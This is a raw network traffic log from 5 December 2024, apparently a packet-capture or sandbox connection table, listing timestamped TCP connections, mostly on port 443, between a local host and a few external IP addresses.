Dec 5, 2024 14:02:20.853621960 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:20.853632927 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:21.122863054 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.126235962 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.126306057 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.126344919 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.126368046 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.126385927 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.126391888 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.129264116 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.129287958 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.129584074 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.129744053 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.129759073 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.172354937 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.175487041 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.175537109 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.175565958 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.175605059 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.175651073 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.175659895 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.175672054 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.175677061 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.178436041 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.178453922 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.178512096 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.178682089 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.178689957 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.225728989 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.226368904 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.226394892 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.226944923 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.226949930 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.337871075 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:21.457814932 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:21.660624981 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.663655043 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.663714886 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.663783073 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.663800955 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.663814068 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.663820028 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.667391062 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.667454958 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:21.667522907 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.667692900 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:21.667701960 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.226810932 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.227438927 CET	49906	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.227459908 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.228126049 CET	49906	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.228131056 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.365655899 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.366210938 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.366240025 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.367058039 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.367070913 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.384681940 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.384800911 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.385438919 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.385539055 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.395942926 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.395956039 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.396245956 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.396322012 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.400012016 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.443334103 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.660516024 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.664501905 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.664575100 CET	49906	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.664644003 CET	49906	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.664649963 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.668236017 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.668263912 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.668346882 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.668579102 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.668590069 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.800627947 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.804239035 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.804289103 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.804296970 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.804353952 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.804440022 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.804451942 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.804465055 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.804470062 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.809505939 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.809540987 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.809809923 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.809973955 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.809997082 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.825603008 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.825684071 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.825704098 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.825746059 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.825803041 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.825947046 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.825953007 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.825968981 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.826014042 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.831629992 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.831655979 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.831769943 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.832030058 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:22.832046032 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:22.845854998 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.846394062 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.846424103 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.846892118 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.846903086 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.896325111 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.896948099 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.896965981 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:22.897434950 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:22.897440910 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.280867100 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.283967018 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.284038067 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.288930893 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.288955927 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.288969040 CET	49909	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.288975000 CET	443	49909	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.299609900 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.299654007 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.299727917 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.300239086 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.300252914 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.331401110 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.334400892 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.334490061 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.335522890 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.335552931 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.335565090 CET	49910	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.335572004 CET	443	49910	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.342173100 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.342230082 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.342398882 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.342686892 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.342706919 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.383709908 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.430496931 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.450462103 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.450489044 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.451188087 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.451196909 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.820053101 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.822664022 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.825603962 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.830948114 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.830965996 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.831121922 CET	49911	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.831127882 CET	443	49911	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.864583969 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.864624023 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:23.864701986 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.904577971 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:23.904627085 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.365102053 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.365200996 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.371143103 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.371157885 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.371731997 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.371740103 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.384291887 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.384701967 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.384716988 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.385196924 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.385200977 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.527750969 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.528847933 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.528875113 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.529418945 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.529426098 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.812680006 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.812745094 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.812763929 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.812776089 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.812814951 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.812830925 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.820804119 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.824217081 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.824299097 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.824431896 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.824445009 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.824455976 CET	49912	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.824461937 CET	443	49912	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.828552961 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.828579903 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.828646898 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.828805923 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.828819036 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.918581009 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.918627977 CET	443	49914	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.918639898 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.918674946 CET	49914	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.935137987 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.935185909 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.935250998 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.935540915 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:24.935563087 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:24.961937904 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.965780020 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.965840101 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.965878010 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.965878010 CET	49913	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.965898991 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.965909004 CET	443	49913	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.969113111 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.969142914 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:24.969207048 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.969356060 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:24.969369888 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.018075943 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.018692017 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.018708944 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.019335032 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.019342899 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.059578896 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.060122967 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.060146093 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.060722113 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.060728073 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.452734947 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.452886105 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.453035116 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.456866026 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.456893921 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.456950903 CET	49915	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.456958055 CET	443	49915	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.461042881 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.461085081 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.461559057 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.465563059 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.465580940 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.497512102 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.500622988 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.500690937 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.500956059 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.501004934 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.501004934 CET	49916	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.501024961 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.501034975 CET	443	49916	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.503762960 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.503803015 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.504328966 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.504432917 CET	49922	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.504445076 CET	443	49922	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.620698929 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.621551991 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.621571064 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:25.621764898 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:25.621771097 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.056128979 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.059643030 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.059803009 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.059803963 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.059855938 CET	49917	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.059876919 CET	443	49917	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.062848091 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.062889099 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.063050985 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.063175917 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.063194036 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.460405111 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:26.461751938 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:26.502243996 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.544994116 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.555468082 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.560642958 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.560648918 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.564661026 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.564666986 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.568733931 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.568751097 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.572514057 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.572521925 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.593014002 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:26.593039036 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:26.601136923 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:26.601164103 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:26.928364038 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:26.928448915 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:26.928533077 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:26.936167955 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.939752102 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.941595078 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.948034048 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.948049068 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.948060989 CET	49920	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.948066950 CET	443	49920	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.971266031 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.971324921 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.971401930 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.971565008 CET	49924	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.971586943 CET	443	49924	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.980114937 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.980674028 CET	49919	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:26.980686903 CET	443	49919	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:26.983318090 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.983407021 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.983485937 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.983498096 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.983526945 CET	49918	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.983534098 CET	443	49918	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.985619068 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.985630035 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:26.985682964 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.985821009 CET	49925	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:26.985830069 CET	443	49925	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.183620930 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.184235096 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.184263945 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.184756041 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.184762001 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.617942095 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.617965937 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.618041039 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.618083954 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.618535042 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.618542910 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.618592978 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.618715048 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.618752956 CET	443	49921	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.618803024 CET	49921	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.621700048 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.621756077 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.621829987 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.621993065 CET	49926	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.622009993 CET	443	49926	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.781873941 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.782497883 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.782527924 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:27.782989025 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:27.782994986 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.216510057 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.220026970 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.220093012 CET	443	49923	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:28.220093966 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.220158100 CET	49923	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:28.220345974 CET	49923	443	192.168.2.6	13.107.246.63
